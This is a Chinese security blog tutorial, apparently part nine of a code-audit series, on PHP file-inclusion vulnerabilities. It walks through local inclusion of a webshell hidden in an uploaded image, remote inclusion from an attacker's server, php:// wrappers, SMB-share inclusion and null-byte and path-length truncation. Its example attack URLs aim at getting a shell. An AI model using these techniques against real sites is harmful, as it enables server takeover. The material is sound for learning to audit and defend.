代码审计的艺术系列—第九篇

0x00前言:

作者:HackBraid,乌云核心白帽子。 文件包含漏洞也是一种非常常见的漏洞类型,产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。所以一套源码快速发掘并利用文件包含getshell是这篇要讨论的,主要分为危险函数、本地文件包含、远程文件包含和截断技巧四方面展开。

0x01危险函数:

include()include_once()require()require_once()

0x02文件包含漏洞的脑图: 

fileinclude

0x03 本地文件包含 :

本地文件包含漏洞常用的场景是用户上传头像image.jpg,image.jpg里存在PHP一句话木马,然后我们利用本地文件包含将image.jpg加载进来即可执行一句话命令从而getshell。缺陷代码如下: fileincludeyuan程序本意是获取action并引入action里的功能函数,这里我们上传了头像image.jpg,然后包含进来发现在页面显示了phpinfo的信息: fileinclude2那么这里上传的头像image.jpg代码改为一句话木马: fileincludeyuan1使用菜刀成功getshell: fileinclude1

0x04 远程文件包含 :

1.普通远程文件包含 条件:allow_url_include=on(默认off)、allow_url_fopen=on缺陷代码: fileincludeyuan2然后我们浏览器输入:http://localhost/fileinclude.php?action=http://*.*.*.*/test.txt fileinclude1其中http://*.*.*.*/test.txt是我自己的服务器,里面的test.txt内容如下: fileincludeyuan3当然也可以包含一句话木马进一步getshell。 2.有限制远程文件包含 条件:allow_url_include=on
伪协议php://input和php://filter包含测试发现可以继续愉快的包含了 fileinclude2 包含共享文件
这种情况是你可以传到文件到内网某台服务器192.168.1.102,假如这台服务器是ftp是开了共享的就可以通过下面方法进行包含:

http://localhost/fileinclude.php?action=\\192.168.1.102\share\test.txt


0x05 截断技巧 :

1.PHP%00截断截断条件:
①PHP版本小于5.3.4,详情请查看[CVE-2006-7243](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7243)
②magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0
搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试: fileincludeyuan4不同之处是这里后面强制加了jpg的后缀,所以需要通过截断的技巧来继续包含 fileinclude3 2.多个./截断截断条件:PHP版本小于5.3
Windows240个.或者./可以截断
测试240个点截断成功如下图: fileinclude4Linux是2038个/.可以截断,自行搭建环境测试吧~本篇的内容,我们就介绍到这里,下一篇欢迎持续关注。

原创文章,转载请注明: 转载自安兔|anntoo.com 互联网安全新媒体平台

本文链接地址: 代码审计的艺术系列-第九篇

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值